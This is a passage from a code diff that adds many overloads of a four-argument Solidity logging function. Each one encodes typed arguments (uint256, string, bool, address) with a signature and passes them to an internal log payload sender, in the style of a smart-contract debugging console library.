+    function log(uint256 p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, address p3) internal pure {
